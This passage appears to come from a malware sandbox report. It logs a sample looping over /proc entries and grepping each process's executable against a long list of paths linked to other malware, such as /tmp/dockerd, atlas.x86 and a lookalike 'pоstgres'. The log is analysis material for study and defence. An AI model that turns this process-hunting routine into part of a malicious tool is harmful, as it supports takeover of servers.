- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:860
- /bin/grep
  grep -q systemd
  2⤵
  PID:862
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:864
- /bin/grep
  grep exe
  2⤵
  PID:867
- /bin/ls
  ls -latrh /proc/16
  2⤵
  PID:866
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:869
- /bin/grep
  grep -q systemd
  2⤵
  PID:873
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:875
- /bin/grep
  grep exe
  2⤵
  PID:878
- /bin/ls
  ls -latrh /proc/17
  2⤵
  PID:877
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:882
- /bin/grep
  grep -q systemd
  2⤵
  PID:884
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:886
- /bin/grep
  grep exe
  2⤵
  PID:891
- /bin/ls
  ls -latrh /proc/174
  2⤵
  PID:890
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:893
- /bin/grep
  grep -q systemd
  2⤵
  PID:896
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:899
- /bin/ls
  ls -latrh /proc/175
  2⤵
  PID:901
- /bin/grep
  grep exe
  2⤵
  PID:902
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:905
- /bin/grep
  grep -q systemd
  2⤵
  PID:908
- /bin/grep
  grep -q deleted
  2⤵
  PID:910
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:913
- /bin/grep
  grep exe
  2⤵
  PID:917
- /bin/ls
  ls -latrh /proc/18
  2⤵
  PID:916
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:919
- /bin/grep
  grep -q systemd
  2⤵
  PID:922
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:925
- /bin/grep
  grep exe
  2⤵
  PID:928
- /bin/ls
  ls -latrh /proc/19
  2⤵
  PID:927
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:932
- /bin/grep
  grep -q systemd
  2⤵
  PID:934
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:937
- /bin/grep
  grep exe
  2⤵
  PID:941
- /bin/ls
  ls -latrh /proc/2
  2⤵
  PID:940
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:943
- /bin/grep
  grep -q systemd
  2⤵
  PID:946
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:949
- /bin/grep
  grep exe
  2⤵
  PID:952
- /bin/ls
  ls -latrh /proc/20
  2⤵
  PID:951
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:955
- /bin/grep
  grep -q systemd
  2⤵
  PID:958
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:960
- /bin/grep
  grep exe
  2⤵
  PID:964
- /bin/ls
  ls -latrh /proc/21
  2⤵
  PID:963
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:967
- /bin/grep
  grep -q systemd
  2⤵
  PID:969
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:972
- /bin/grep
  grep exe
  2⤵
  PID:976
- /bin/ls
  ls -latrh /proc/22
  2⤵
  PID:975
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:978
- /bin/grep
  grep -q systemd
  2⤵
  PID:981
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:984
- /bin/grep
  grep exe
  2⤵
  PID:987
- /bin/ls
  ls -latrh /proc/23
  2⤵
  PID:986
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:991
- /bin/grep
  grep -q systemd
  2⤵
  PID:994
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:997
- /bin/ls
  ls -latrh /proc/24
  2⤵
  PID:999
- /bin/grep
  grep exe
  2⤵
  PID:1000
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1002
- /bin/grep
  grep -q systemd
  2⤵
  PID:1005
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1009
- /bin/grep
  grep exe
  2⤵
  PID:1014
- /bin/ls
  ls -latrh /proc/244
  2⤵
  PID:1013
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1017
- /bin/grep
  grep -q systemd
  2⤵
  PID:1019
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1022
- /bin/grep
  grep exe
  2⤵
  PID:1026
- /bin/ls
  ls -latrh /proc/3
  2⤵
  PID:1025
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1030
- /bin/grep
  grep -q systemd
  2⤵
  PID:1033
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1035
- /bin/grep
  grep exe
  2⤵
  PID:1039
- /bin/ls
  ls -latrh /proc/328
  2⤵
  PID:1038
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1041
- /bin/grep
  grep -q systemd
  2⤵
  PID:1043
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1045
- /bin/grep
  grep exe
  2⤵
  PID:1049
- /bin/ls
  ls -latrh /proc/329
  2⤵
  PID:1048
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1051
- /bin/grep
  grep -q systemd
  2⤵
  PID:1053
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1055
- /bin/grep
  grep exe
  2⤵
  PID:1058
- /bin/ls
  ls -latrh /proc/331
  2⤵
  PID:1057
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1060
- /bin/grep
  grep -q systemd
  2⤵
  PID:1062
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1064
- /bin/grep
  grep exe
  2⤵
  PID:1067
- /bin/ls
  ls -latrh /proc/333
  2⤵
  PID:1066
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1069
- /bin/grep
  grep -q systemd
  2⤵
  PID:1071
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1073
- /bin/grep
  grep exe
  2⤵
  PID:1076
- /bin/ls
  ls -latrh /proc/36
  2⤵
  - Reads runtime system information
  PID:1075
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1078
- /bin/grep
  grep -q systemd
  2⤵
  PID:1080
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1082
- /bin/grep
  grep exe
  2⤵
  PID:1085
- /bin/ls
  ls -latrh /proc/363
  2⤵
  PID:1084
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1087
- /bin/grep
  grep -q systemd
  2⤵
  PID:1089
- /bin/grep
  grep -q deleted
  2⤵
  PID:1091
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1093
- /bin/grep
  grep exe
  2⤵
  PID:1096
- /bin/ls
  ls -latrh /proc/37
  2⤵
  PID:1095
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1098
- /bin/grep
  grep -q systemd
  2⤵
  PID:1100
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1102
- /bin/grep
  grep exe
  2⤵
  PID:1105
- /bin/ls
  ls -latrh /proc/378
  2⤵
  PID:1104
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1107
- /bin/grep
  grep -q systemd
  2⤵
  PID:1109
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1111
- /bin/grep
  grep exe
  2⤵
  PID:1114
- /bin/ls
  ls -latrh /proc/379
  2⤵
  PID:1113
- /bin/grep
